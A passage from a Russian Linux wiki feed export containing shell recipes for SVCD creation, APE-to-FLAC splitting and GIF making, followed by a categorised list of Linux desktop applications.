&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
TITLE=`basename $1 .mpg`&lt;br /&gt;
echo &amp;quot;Doing VCDImager...&amp;quot;&lt;br /&gt;
vcdimager -p -t svcd -b $TITLE.bin -c $TITLE.cue $@&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
4. Скрипт прожига&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
# первый параметр -- имя .cue-файла, второй -- скорость.&lt;br /&gt;
&lt;br /&gt;
cdrdao write -v 2 --speed $2 $1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Замечания'''&lt;br /&gt;
#Для NTSC материала нужно правильно подобрать значение параметра -j. Указанное значение (-92) корректно для фильмов им. тов. Гоблина (тех, что я кодировал).&lt;br /&gt;
#Максимальный размер диска — 800Мб, что отлично влезает на 700Мб болванку из-за того, что пишется «полный» сектор. Грубо можно считать &amp;quot;800Мб == 80 мин&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
'''Где взять''': [http://fredrik.hubbe.net/hacks/ mkdvd], [http://mjpeg.sourceforge.net/ mjpegtools], [http://dvdauthor.sourceforge.net dvdauthor], [http://www.mplayerhq.hu mencoder], [http://www.transcoding.org/cgi-bin/transcode transcode]&lt;br /&gt;
&lt;br /&gt;
'''См. также дополнительное инфо:'''&lt;br /&gt;
*[http://www.linuxmafia.com/faq/Apps/AV/consumer-video-to-dvd.html по сборке DVD и редактированию видео с помощью kino]&lt;br /&gt;
*[http://dvd.chevelless230.com/ по правам файловой структуры на получаемом DVD]&lt;br /&gt;
*[http://www.freesoftware.fsf.org/dvdrtools/ как писать]&lt;br /&gt;
&lt;br /&gt;
==Как преобразовать .ape + .cue во .flac с потрековым разбиением?==&lt;br /&gt;
&lt;br /&gt;
===Вариант 1===&lt;br /&gt;
По причине отсутствия поддержки .ape + .cue во многих плейерах для Linux, иногда возникает необходимость перекодирования .ape в хорошо поддерживаемый .flac с потрековым разбиением. Для достижения цели нам понадобятся следующие инструменты: [http://etree.org/shnutils/shntool/ shntool], [http://supermmx.org/linux/mac/ mac] и [http://flac.sourceforge.net/ flac]. Прежде чем качать исходники и собирать поищите их в репозитории своего дистрибутива.&lt;br /&gt;
&lt;br /&gt;
Сама по себе команда перекодирования умещается в одну строчку:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ shntool split your_ape_file.ape -f cue_list_for_your_ape_file.cue -o flac -t &amp;quot;%n - %t&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Приведённая выше команда означает следующее: разрезать your_ape_file.ape, извлекая данные о длительности треков и их названиях из файла cue_list_for_your_ape_file.cue, закодировав выходные данные в формате flac. Полученные файлы именовать по маске &amp;quot;Номер дорожки - Название дорожки&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Данной командой можно резать как ape + cue, так и flac + cue-файлы.&lt;br /&gt;
&lt;br /&gt;
Кроме ключей названия %n и %t так же можно использовать ключ %p, который задает исполнителя (от англ. performer).&lt;br /&gt;
&lt;br /&gt;
===Вариант 2===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ sudo aptitude install cuetools shntool flac wavpack&lt;br /&gt;
$ ffmpeg -i CDImage.ape CDImage.flac&lt;br /&gt;
$ cuebreakpoints CDImage.cue | shnsplit -a &amp;quot;Miles Gurtu&amp;quot; -o flac CDImage.flac&lt;br /&gt;
$ cuetag CDImage.cue Miles*.flac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Как создать gif-анимацию?==&lt;br /&gt;
&lt;br /&gt;
Получить gif-анимацию из видеоролика в Linux очень легко, для этого вам потребуется MPlayer и всего лишь одна команда в консоли:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ mplayer myvideo -ao null -ss 0:00:00 -endpos 00 -nosub -vf scale=320:240 -vo gif89a:fps=24:output=mygif.gif&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Здесь:&lt;br /&gt;
* myvideo - видео из которого вы хотите создать анимацию&lt;br /&gt;
* -ao null - не выводить звук&lt;br /&gt;
* -ss 0:00:00 - стартовая позиция видеофрагмента в видеоролике, из которого будет получена анимация (формат - часы:минуты:секунды)&lt;br /&gt;
* -endpos 00 - длина видеофрагмента в секундах&lt;br /&gt;
* -nosub - без субтитров&lt;br /&gt;
* -vf scale=320:240 - разрешение получаемой анимации в пикселях (формат ширина:высота)&lt;br /&gt;
* -vo gif89a:fps=24:output=mygif.gif - количество кадров в секунду (fps=24) и название итоговой анимации (mygif.gif)&lt;br /&gt;
&lt;br /&gt;
Если по каким-либо причинам вам не понравилось качество или размер анимации, существует иной, более сложный способ ее изготовления при помощи редактора GIMP:&lt;br /&gt;
&lt;br /&gt;
Первым шагом экспортируем необходимый фрагмент видео в набор jpg картинок:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ mplayer myvideo -ao null -ss 0:00:00 -endpos 00 -nosub -vf scale=320:240 -vo jpeg:outdir=picturesdirectory&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Здесь:&lt;br /&gt;
* -vo jpeg:outdir=picturesdirectory - картинки сохраняются в директорию picturesdirectory&lt;br /&gt;
Следующим шагом обрабатываем в GIMP полученные картинки:&lt;br /&gt;
* &amp;quot;File / Open As Layers&amp;quot;, &amp;quot;Файл / Открыть как слои&amp;quot; - открываем картинки как слои&lt;br /&gt;
* &amp;quot;File / Export As&amp;quot;, &amp;quot;Файл / Экспортировать как&amp;quot; - экспортируем и сохраняем картинки как анимированный gif&lt;br /&gt;
Необходимо заметить, что GIMP позволяет творчески обрабатывать получаемую анимацию, что является несомненным плюсом его использования, также при помощи GIMP можно оптимизировать полученную анимацию, сократив ее размер:&lt;br /&gt;
* &amp;quot;Filters / Animation / Optimization&amp;quot;, &amp;quot;Фильтры / Анимация / Оптимизация&amp;quot;&lt;br /&gt;
Как для первого, так и для второго способа получения gif-анимации удобным способом оптимизации полученных гифок будет использование программы gifsicle:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ gifsicle --optimize -O3 --colors 128 mygif.gif &amp;gt; mygifoptimized.gif&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Здесь:&lt;br /&gt;
* --optimize -O3 - уровень оптимизации&lt;br /&gt;
* --colors 128 - количество цветов (от 2 до 256)&lt;br /&gt;
[[Category:Мультимедиа]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B_%D0%B4%D0%BB%D1%8F_%D0%B4%D0%BE%D0%BC%D0%B0_%D0%B8_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B&amp;diff=347</id>
		<title>Программы для дома и работы</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B_%D0%B4%D0%BB%D1%8F_%D0%B4%D0%BE%D0%BC%D0%B0_%D0%B8_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B&amp;diff=347"/>
		<updated>2023-02-27T18:39:18Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Офисный пакет==&lt;br /&gt;
&lt;br /&gt;
Наиболее функциональными на настоящий момент являются два клона OpenOffice.org:&lt;br /&gt;
&lt;br /&gt;
* [http://www.libreoffice.org/ LibreOffice]&lt;br /&gt;
* [http://ru.openoffice.org/ Apache OpenOffice]&lt;br /&gt;
&lt;br /&gt;
Оба построены по сути на одном движке, LibreOffice в настоящий момент разрабатывается более активно. Совместимость с форматами MS достаточно хорошая, примерно 99% текстовых документов и порядка 95% таблиц и презентаций последние версии должны открывать без проблем, многие проблемы с неправильным отображением решает установка в систему [http://avi.alkalay.net/linux/docs/font-howto/Font.html#msfonts шрифтов] от основного конкурента (msttfonts, webcore fonts или webfonts в разных дистрибутивах). &lt;br /&gt;
&lt;br /&gt;
Остальные офисные пакеты в целом неплохо справляются с созданием и редактированием простых документов, но с совместимостью и открытием принесённых и присланных документов могут возникать различные проблемы. Эти пакеты нередко входят в состав предустановленных систем на недостаточно мощных машинах (например, на смартбуках и планшетках с Linux внутри) и в специальные легковесные дистрибутивы для устаревшей техники.&lt;br /&gt;
&lt;br /&gt;
* [http://www.calligra-suite.org/ Calligra Suite] и [http://www.koffice.org/ KOffice] - офисный пакет для [http://www.kde.org/ KDE].&lt;br /&gt;
* [http://live.gnome.org/GnomeOffice Gnome Office] - офисный пакет для [http://www.gnome.org/ GNOME]&lt;br /&gt;
&lt;br /&gt;
==Верстка текста==&lt;br /&gt;
&lt;br /&gt;
В жизни практически каждого, кто занимается в университете делом, возникает момент, когда перед ним ставится боевая задача сделать нечто большое и светлое: курсовую, диплом, презентацию на конференцию, статью, методичку или книгу. Подобные задачи решаются обычно с использованием того,что человек уже знает и чем умеет пользоваться, т.е. сегодня это практически всегда средствами того или иного офисного пакета. Однако, как справедливо подметил Дональд Кнут в 1977 году, когда любимого всеми офиса ещё и в проекте не было, нередко результат получается не слишком соответствующий ожиданиям. Поскольку Кнут принадлежал к той небольшой группе людей, которые столкнувшись с трудностями и лишениями их преодолевают не героическим упорным поеданием кактуса, а использованием более подходящих к случаю функций человеческой головы, в 1979 году появился первый вариант типографской системы TeX, которая позволяла получить на выходе красивую статью или книгу. В 1984 году Лесли Лампорт написал LaTeX, набор макросов для TeX, позволявших получить эту же красоту не будучи программистом. С тех пор у научного сообщества появилась легендарная типографская система, в которой и сегодня верстается большинство серьёзных научных журналов. &lt;br /&gt;
&lt;br /&gt;
На настоящий момент наиболее популярной реализацией этой системы является [http://www.tug.org/texlive/ TeX Live]. Теоретически он работает в любой операционной системе и в трех самых популярных работает точно. Т.к. исходные коды документов TeX/LaTeX представляют собой особым образом размеченные текстовые файлы, их можно править в любом текстовом редакторе. Существуют также специализированные редакторы для создания документов LaTeX, такие как [http://kile.sourceforge.net/ Kile] или [http://texstudio.sourceforge.net/ TeXstudio]. Кроме того, есть WYSIWYM-редакторы --- [http://www.lyx.org/ LyX] и [http://www.texmacs.org/ TeXmacs], однако, для набора больших и сложных текстов они могут оказаться не самым лучшим выбором в силу своей ограниченности.&lt;br /&gt;
&lt;br /&gt;
==Графические приложения==&lt;br /&gt;
===Графические редакторы===&lt;br /&gt;
&lt;br /&gt;
Наиболее функциональными и доработанными на сегодняшний день являются:&lt;br /&gt;
&lt;br /&gt;
* [http://www.gimp.org/ GIMP] растровый&lt;br /&gt;
* [http://inkscape.org/ Inkscape] векторный&lt;br /&gt;
&lt;br /&gt;
В состав KDE (точнее, KOffice или Calligra Suite) входят:&lt;br /&gt;
&lt;br /&gt;
* [http://www.koffice.org/krita/ Krita] растровый&lt;br /&gt;
* [http://www.koffice.org/karbon/ Karbon] векторный&lt;br /&gt;
&lt;br /&gt;
Кроме них также можно назвать:&lt;br /&gt;
&lt;br /&gt;
* [http://mypaint.intilinux.com/ MyPaint] - растровый редактор для художников, рисующих на планшете&lt;br /&gt;
* Draw из [http://www.libreoffice.org/features/draw/ LibreOffice] или [http://www.openoffice.org/product/draw.html OpenOffice] - векторный.&lt;br /&gt;
* [http://sk1project.org/ sK1] - векторный, нацелен на допечатную подготовку, в состоянии вечной разработки&lt;br /&gt;
* [http://pinta-project.com/ Pinta] - растровый, простой редактор для рисования, аналог Paint.NET&lt;br /&gt;
* [http://www.xfig.org/ Xfig] - векторный, очень удобный редактор для простой технической графики, к сожалению, сильно устарел.&lt;br /&gt;
* [http://synfig.org/ Synfig Studio] - платформа для создания двухмерной векторной/растровой анимации&lt;br /&gt;
===Работа с фотографиями===&lt;br /&gt;
* [http://darktable.sourceforge.net/ Darktable] - &amp;quot;проявка&amp;quot; Raw-файлов, аналог Photoshop Lightroom&lt;br /&gt;
* [http://rawstudio.org/ Rawstudio] - примерно то же самое, но в другом исполнении&lt;br /&gt;
* [http://rawtherapee.com/ RawTherapee] - ещё один вариант&lt;br /&gt;
* [http://www.yorba.org/shotwell/ Shotwell] - каталогизатор фотографий &lt;br /&gt;
* [http://piwigo.org/ Piwigo] — ещё один каталогизатор фотографий&lt;br /&gt;
* [http://f-spot.org/ F-Spot] - устаревший каталогизатор фотографий, написан на Mono&lt;br /&gt;
* [http://www.digikam.org/ digiKam] - каталогизатор фотографий для KDE&lt;br /&gt;
* [http://kornelix.squarespace.com/fotoxx/ fotoxx] - каталогизатор фотографий с функциями редактирования&lt;br /&gt;
* [http://hugin.sourceforge.net/ Hugin] - склейка панорам&lt;br /&gt;
* [http://enblend.sourceforge.net/ Enblend] - склейка панорам&lt;br /&gt;
* [http://www.kolor.com/ Kolor] предлагает ряд платных проприетарных программ (с пробными версиями) для сборки и редактирования панорам, в том числе и под Linux:&lt;br /&gt;
** [http://www.kolor.com/panorama-software-autopano-pro.html Autopano Pro]&lt;br /&gt;
** [http://www.kolor.com/image-stitching-software-autopano-giga.html Autopano Giga]&lt;br /&gt;
** [http://www.kolor.com/panotour-software-virtual-tours-360-home.html Panotour]&lt;br /&gt;
** [http://www.kolor.com/panotour-pro-profesionnal-360-virtual-tour-software-home.html Panotour Pro]&lt;br /&gt;
* [http://gardengnomesoftware.com/pano2vr.php Pano2VR] - платная проприетарная программа (с пробными версиями) для создания так называемых [http://en.wikipedia.org/wiki/VR_Photography VR photography (virtual reality photography)] - интерактивных широкоугольных панорам, в том числе под Linux с записью в Adobe Flash, HTML5 (iPhone/iPad) или QuickTime VR (QTVR)&lt;br /&gt;
* [http://webuser.fh-furtwangen.de/~dersch/ Panorama Tools] - свободные открытые программы на Java для работы с VR Photography, написанные с использованием SIMD-Math Хельмутом Дершем (Helmut Dersch), автором CAS Jasymca&lt;br /&gt;
* [http://photobatch.stani.be/ Phatch] - кроссплатформенный пакетный обработчик фотографий с графическим интерфейсом, использующий [http://www.pythonware.com/products/pil/ PIL (Python Imaging Library)] и [http://www.wxpython.org/ wxPython]&lt;br /&gt;
===3D-моделирование===&lt;br /&gt;
* [http://www.blender.org/ Blender] - пакет создания трёхмерной графики&lt;br /&gt;
Трассировщики лучей:&lt;br /&gt;
* [http://www.yafaray.org/ YafaRay]&lt;br /&gt;
* [http://www.luxrender.net/ LuxRender]&lt;br /&gt;
* [http://www.povray.org/ POV-Ray]&lt;br /&gt;
===Просмотр изображений===&lt;br /&gt;
Этих программ слишком много, чтобы перечислять все. Вот лишь некоторые:&lt;br /&gt;
&lt;br /&gt;
* в GNOME основной программой просмотра является [http://projects.gnome.org/eog/ Eye of GNOME], в KDE - [http://kde.org/applications/graphics/gwenview/ GwenView]&lt;br /&gt;
* Если нужен более функциональный вариант под GTK, то стоит смотреть в сторону [http://live.gnome.org/gthumb gThumb] (зависит от GNOME) или [http://geeqie.sourceforge.net/ Geeqie]&lt;br /&gt;
* [http://goodies.xfce.org/projects/applications/ristretto Ristretto] - лёгкий просмотрщик на GTK из проекта Xfce.&lt;br /&gt;
* [http://lxde.sourceforge.net/gpicview/ GPicView] - ещё один простой просмотрщик на GTK из проекта LXDE.&lt;br /&gt;
* [http://mirageiv.berlios.de/ Mirage Image Viewer] - тоже лёгкий просмотрщик на GTK.&lt;br /&gt;
* Куча легковесных просмотрщиков было упомянуто в этой [http://www.linux.org.ru/forum/desktop/6433110 теме], а именно [http://www.imagemagick.org/script/display.php display], [http://feh.finalrewind.org/ feh], [http://cade.datamax.bg/qvv/ QVV], [http://spiegl.de/qiv/ QIV], [http://www.kraxel.org/blog/linux/fbida/ fbi], [http://xsisqox.github.com/Viewnior/ Viewnior], [http://sourceforge.net/projects/xzgv/ xzgv], [http://gqview.sourceforge.net/ GQview], [http://www.xnview.com/ XnView] и отдельно должен быть упомянут [http://tim.scandiaca.com/post/japw.aspx japw], автором которого является [http://www.linux.org.ru/people/hibou/profile/ hibou].&lt;br /&gt;
&lt;br /&gt;
Подробнее о работе с графикой в открытых системах можно узнать на сайте [http://digilinux.ru/ http://digilinux.ru/]&lt;br /&gt;
==Браузеры==&lt;br /&gt;
&lt;br /&gt;
Есть практически любые, кроме Internet Explorer (он же &amp;quot;синенький интернет&amp;quot;) и Safari:&lt;br /&gt;
&lt;br /&gt;
* [http://www.mozilla-europe.org/ru/ Firefox], в некоторых дистрибутивах Iceweasel.&lt;br /&gt;
* [http://ru.opera.com Opera], несвободный, версия на движке Blink доступна начиная с версии 24.&lt;br /&gt;
* [http://www.google.com/chrome/?hl=ru Google Chrome] и свободный [http://www.chromium.org/Home Chromium]&lt;br /&gt;
* [http://mozilla-russia.org/products/seamonkey/ Mozilla Seamonkey], ранее был известен как Mozilla Suite, а до этого просто Mozilla, а ещё раньше он назывался Netscape Navigator. В некоторых дистрибутивах называется Iceape.&lt;br /&gt;
* [http://conkeror.org/ Conkeror] - лёгкий браузер, основанный на Gecko и XULrunner. Поддерживает почти все дополнения от Firefox, заточен под клавиатурное управление в стиле Emacs.&lt;br /&gt;
* куча браузеров на движке [http://webkit.org/ WebKit] (Chrome и Chromium используют его форк - blink):&lt;br /&gt;
** [http://projects.gnome.org/epiphany/ Epiphany] - стандартный браузер GNOME&lt;br /&gt;
** [http://www.konqueror.org/ Konqueror] - плод противоестественной связи между браузером и файловым менеджером из KDE. Может использовать как собственный движок KHTML, так и более современный его вариант - WebKit&lt;br /&gt;
** [http://rekonq.kde.org/ Rekonq] - что-то вроде облегченного Konqueror из KDE4&lt;br /&gt;
** [http://code.google.com/p/arora/ Arora] - легкий браузер на Qt4&lt;br /&gt;
** [http://www.twotoasts.de/index.php?/pages/midori_summary.html Midori] - лёгкий браузер на GTK&lt;br /&gt;
** [http://www.qupzilla.com/ QupZilla] - кроссплатформенный браузер, использущий WebKit и Qt Framework&lt;br /&gt;
** [http://luakit.org/ Luakit] - легковесный браузер, рассчитанный на использование клавиатуры (значительно быстрее плагинов для браузера), использует Lua для конфигурации и расширения.&lt;br /&gt;
* ну и совсем лёгкие, устаревшие и консольные:&lt;br /&gt;
** [http://www.dillo.org/ dillo] - сверхлёгкий браузер на FLTK&lt;br /&gt;
** [http://lynx.isc.org/current/index.html lynx] - консольный браузер&lt;br /&gt;
** [http://www.jikos.cz/~mikulas/links/ links] - консольный браузер, более функциональный вариант&lt;br /&gt;
** [http://seanm.ca/mosaic/ NCSA Mosaic] - один из первых графических браузеров&lt;br /&gt;
** [http://www.w3.org/Amaya/ w3c/Amaya] - редактор и браузер от создателей всемирной паутины&lt;br /&gt;
и другие&lt;br /&gt;
==Почтовые клиенты==&lt;br /&gt;
&lt;br /&gt;
* [http://mozilla-russia.org/products/thunderbird/ Thunderbird] - функциональный почтовый клиент от Mozilla, основанный на технологиях XUL. Есть поддержка чтения RSS-лент. Расширяется с помощью дополнений.&lt;br /&gt;
* [http://userbase.kde.org/KMail KMail] - почтовый клиент проекта KDE&lt;br /&gt;
* [http://projects.gnome.org/evolution/ Evolution] - почтовый клиент проекта GNOME&lt;br /&gt;
* [http://www.claws-mail.org/ Claws Mail] - лёгкий и функциональный почтовый клиент на GTK&lt;br /&gt;
* [http://sylpheed.sraoss.jp/en/ Sylpheed] - прародитель предыдущего&lt;br /&gt;
* [https://launchpad.net/postler Postler] - сверхлёгкий почтовый клиент на GTK и Vala&lt;br /&gt;
* [http://redmine.yorba.org/projects/geary/wiki Geary] - сверхлёгкий почтовый клиент на GTK3&lt;br /&gt;
* [http://www.mutt.org/ Mutt] - консольный&lt;br /&gt;
* [http://www.washington.edu/alpine/ Alpine] - консольный&lt;br /&gt;
в состав браузеров Mozilla Seamonkey и Opera (до версии 12 включительно) также входят почтовые клиенты&lt;br /&gt;
==Программы для чтения новостных лент==&lt;br /&gt;
&lt;br /&gt;
Ниже приведён краткий список обособленных клиентов для чтения новостных лент, но также поддержка чтения RSS/Atom-лент есть во многих программах, как дополнение к основной функциональности (Firefox, Thunderbird, LeechCraft с соответствующим плагином и т.д.). &lt;br /&gt;
&lt;br /&gt;
* [http://quiterss.org/ QuiteRSS] — настраиваемая и функциональная RSS/Atom-читалка, написанная на Qt и использующая WebKit и SQLite для просмотра и хранения статей&lt;br /&gt;
* [https://userbase.kde.org/Akregator Akregator] — RSS/Atom-клиент из состава KDE&lt;br /&gt;
* [https://lzone.de/liferea/ Liferea] — новостной клиент, написанный для среды GNOME&lt;br /&gt;
* [http://newsbeuter.org/ Newsbeuter] — читалка RSS/Atom-лент для текстовых терминалов&lt;br /&gt;
* [https://github.com/martinrotter/rssguard RSS Guard] — новостной клиент на Qt&lt;br /&gt;
&lt;br /&gt;
==Программы для общения в сети (IM, голос, видео)==&lt;br /&gt;
&lt;br /&gt;
Тут следует отметить, что многие программы текстового общения начали обзаводиться поддержкой голоса и видео, и наоборот, многие программы видеообщения включают поддержку текстового чата.&lt;br /&gt;
&lt;br /&gt;
===Передача текстовых сообщений===&lt;br /&gt;
* [http://psi-im.org/ Psi] — написан на Qt, из протоколов поддерживает только Jabber/XMPP&lt;br /&gt;
* [http://psi-plus.com/ Psi+] — модифицированная версия Psi, с поддержкой плагинов и более богатыми возможностями&lt;br /&gt;
* [http://www.gajim.org/ Gajim] — Python+GTK, только Jabber/XMPP&lt;br /&gt;
* [http://www.pidgin.im/ Pidgin] — поддерживает почти все протоколы, GTK&lt;br /&gt;
* [http://tkabber.jabber.ru/ Tkabber] — Tcl/Tk, Jabber/XMPP&lt;br /&gt;
* [http://www.instantbird.com/ Instantbird] - Mozilla + libpurple&lt;br /&gt;
* [http://live.gnome.org/Empathy Empathy] — входит в состав GNOME, умеет много разных протоколов&lt;br /&gt;
* [http://kopete.kde.org/ Kopete], KDE&lt;br /&gt;
* [http://swift.im/ Swift], Qt&lt;br /&gt;
* [http://mcabber.com/ MCabber] — консольный jabber-клиент&lt;br /&gt;
* [http://poez.io/ Poezio] — консольный jabber-клиент на python с плагинами на python&lt;br /&gt;
* [http://developer.pidgin.im/wiki/Using%20Finch Finch] — консольный на движке libpurple&lt;br /&gt;
* [http://online.yandex.ru/mac-linux/ Я.Онлайн] — Qt, сделано Яндексом на основе Psi&lt;br /&gt;
* [http://qutim.org/ qutIM] — аналог QIP&lt;br /&gt;
* [http://www.icq.com/download/linux/ru ICQ] — несвободный официальный ICQ-клиент, требует Flash и Adobe Air&lt;br /&gt;
* [http://userbase.kde.org/Telepathy KDE Telepathy] — IM/VOIP клиент, поддерживает передачу текста/файлов/аудио/видео, межпрограммную коммуникацию и много IM протоколов (за исключением IRQ). Позиционируется как замена Kopete&lt;br /&gt;
* [https://desktop.telegram.org/ Telegram] — открытый клиент одноимённого IM-сервиса.&lt;br /&gt;
&lt;br /&gt;
===Голосовое и видеообщение===&lt;br /&gt;
* [https://jitsi.org/ Jitsi] - написан на Java. Поддерживает Jabber/XMPP,SIP,AIM/ICQ. Умеет VOIP (текст, звонки, видео, файлы). Также есть клиент под Android.&lt;br /&gt;
* [http://ekiga.org/ Ekiga], Gnome&lt;br /&gt;
* [http://www.skype.com/ru/ Skype] - несвободный, раньше был P2P, сейчас вроде перешел на клиент-серверную архитектуру&lt;br /&gt;
* [https://tox.chat/ Tox] - свободный P2P, beta&lt;br /&gt;
* [http://www.teamspeak.com/ TeamSpeak] - несвободный&lt;br /&gt;
* [http://www.linphone.org/ Linphone], GTK&lt;br /&gt;
* [http://thecoccinella.org/ Coccinella], Tcl/Tk&lt;br /&gt;
* [http://mumble.sourceforge.net/ Mumble], Qt&lt;br /&gt;
* [https://www.mozilla.org/ru/firefox/hello/ Firefox Hello] — основан на WebRTC, связываться с любыми браузерами с поддержкой WebRTC, но для приёма входящих звонков всё-таки нужен Firefox&lt;br /&gt;
* [https://wire.com Wire] — аналог Skype (от бывших инженеров компании), поддерживает аудио- и видеовызовы, e2e-шифрование. Клиент открыт, серверная часть планируется к открытию.&lt;br /&gt;
&lt;br /&gt;
===Cерверы видеоконференций===&lt;br /&gt;
* [http://openmcu.ru/ openmcu] [http://www.voxgratia.org/ (en)]&lt;br /&gt;
==Видео и аудиоплееры==&lt;br /&gt;
===Видеопроигрыватели===&lt;br /&gt;
* [http://www.mplayerhq.hu/ MPlayer] с оболочкой [http://smplayer.sourceforge.net/ SMPlayer] или [http://www.mplayerhq.hu/design7/projects.html другой];&lt;br /&gt;
* [http://www.mplayer2.org/ MPlayer2], форк предыдущего;&lt;br /&gt;
* [http://mpv.io/ mpv], основан на MPlayer/MPlayer2;&lt;br /&gt;
* [http://www.videolan.org/vlc/ VLC];&lt;br /&gt;
* [http://projects.gnome.org/totem/ Totem], GNOME;&lt;br /&gt;
* [http://kaffeine.kde.org/ Kaffeine], KDE;&lt;br /&gt;
* [https://www.kde.org/applications/multimedia/dragonplayer/ Dragon Player], KDE, легковесный с простым интерфейсом;&lt;br /&gt;
* [http://www.xine-project.org/ xine] — устарел.&lt;br /&gt;
&lt;br /&gt;
===проигрыватели на основе библиотеки файлов (по типу iTunes)===&lt;br /&gt;
* [http://amarok.kde.org/ Amarok], KDE&lt;br /&gt;
* [http://projects.gnome.org/rhythmbox/ Rhythmbox], GNOME&lt;br /&gt;
* [http://banshee.fm/ Banshee], GNOME+Mono&lt;br /&gt;
* [http://flavio.tordini.org/minitunes Minitunes], минималистичный плеер на Qt4&lt;br /&gt;
* [https://launchpad.net/beat-box Beatbox], лёгкий плеер на GTK, пока в активной разработке&lt;br /&gt;
* [http://www.clementine-player.org/ Clementine], Qt&lt;br /&gt;
* [http://www.musicpd.org/ MPD], Music Player Daemon — бекенд, список различных фронтендов (морд) [http://mpd.wikia.com/wiki/Clients здесь].&lt;br /&gt;
&lt;br /&gt;
===Простые аудиопроигрыватели (по типу Winamp)===&lt;br /&gt;
* [http://audacious-media-player.org/ Audacious] — плеер, использующий GTK, один из форков XMMS&lt;br /&gt;
* [http://deadbeef.sf.net/ DeadBeef] — легковесный плеер в стиле foobar2000 работающий на GTK, открывающий множество форматов (многоканальных в. т. ч.) и корректно работающий с испорченными кодировками в тегах &lt;br /&gt;
* [http://qmmp.ylsoftware.com/ Qmmp] - Интерфейс в стиле WinAmp (хотя есть возможность использовать альтернативный GUI), написан на Qt.&lt;br /&gt;
* [http://moc.daper.net/ MOC] — удобный консольный&lt;br /&gt;
* [http://www.xmms.org/ XMMS] — стар почти как протокол X11, 1:1 внешне как старый WinAmp&lt;br /&gt;
выше перечислены только наиболее популярные варианты&lt;br /&gt;
==Словари и переводчики==&lt;br /&gt;
&lt;br /&gt;
* [http://goldendict.org/ GoldenDict], Qt, наиболее функционален&lt;br /&gt;
* [http://code.google.com/p/stardict-3/ StarDict] и словари с [http://xdxf.sourceforge.net/ XDXF], GTK. Консольную версию stardict можно взять [http://sdcv.sf.net здесь], а порт на Qt4 лежит [http://qstardict.ylsoftware.com тут]&lt;br /&gt;
* [http://multitran.sourceforge.net/ multitran] - очень хороший словарь, но оболочка на Qt3, давно не переписывалась и почти везде уже не работает. Доступен online, [http://www.multitran.ru/ http://www.multitran.ru/]&lt;br /&gt;
* [https://launchpad.net/purple Purple], лёгкий словарь на GTK&lt;br /&gt;
* Кроме всего вышеперечисленного есть сервер словарей [http://www.dict.org/ dictd] и клиенты к нему - Gnome dictionary и Kdict. &lt;br /&gt;
&lt;br /&gt;
Из переводчиков есть интерфейс к [http://translate.google.ru/ google translate] [https://github.com/flareguner/litetran LiteTran] и практически нерабочая [http://www.prawda.newmail.ru/ Правда].&lt;br /&gt;
==Файловые менеджеры==&lt;br /&gt;
&lt;br /&gt;
* [http://live.gnome.org/Nautilus Nautilus] в GNOME и его ремейки nautilus-elementary и Nemo&lt;br /&gt;
* [http://dolphin.kde.org/ Dolphin] в KDE4&lt;br /&gt;
* [http://www.konqueror.org/ Konqueror] в KDE&lt;br /&gt;
* [http://thunar.xfce.org/ Thunar] в Xfce&lt;br /&gt;
* [http://wiki.lxde.org/en/PCManFM PCManFM] легкий файловый менеджер с поддержкой табов, на GTK&lt;br /&gt;
* [http://rox.sourceforge.net/desktop/ROX-Filer.html ROX-Filer]&lt;br /&gt;
* [http://doublecmd.sourceforge.net/ Double Commander] для тех, кто привык к Total Commander&lt;br /&gt;
* [http://www.midnight-commander.org/wiki/ru/WikiStart mc] Midnight Commander, для консоли&lt;br /&gt;
* [http://www.krusader.org/ Krusader] двухпанельный файловый менеджер, KDE&lt;br /&gt;
==Архиваторы==&lt;br /&gt;
&lt;br /&gt;
Тут следует отметить, что в Linux есть программы-компрессоры, которые сжимают (консольные): &lt;br /&gt;
* gzip&lt;br /&gt;
* bzip2&lt;br /&gt;
* lzma &lt;br /&gt;
* xz&lt;br /&gt;
* программы для работы с rar, zip, lha, stuffit и другими неродными для unix/linux форматами;&lt;br /&gt;
собственно архиваторы, которые собирают множество файлов в один перед сжатием:&lt;br /&gt;
* tar&lt;br /&gt;
* cpio&lt;br /&gt;
и есть графические оболочки к ним:&lt;br /&gt;
* [http://fileroller.sourceforge.net/ File Roller] - входит в состав GNOME&lt;br /&gt;
* [http://www.kde.org/applications/utilities/ark/ Ark] - часть KDE&lt;br /&gt;
* [http://xarchiver.sourceforge.net/ Xarchiver], GTK&lt;br /&gt;
* [http://www.peazip.org/ PeaZIP]&lt;br /&gt;
&lt;br /&gt;
Многие файловые менеджеры умеют работать в качестве оболочки к консольным архиваторам&lt;br /&gt;
==Работа с электронными книгами==&lt;br /&gt;
===Просмотр PDF/DjVu/FB2===&lt;br /&gt;
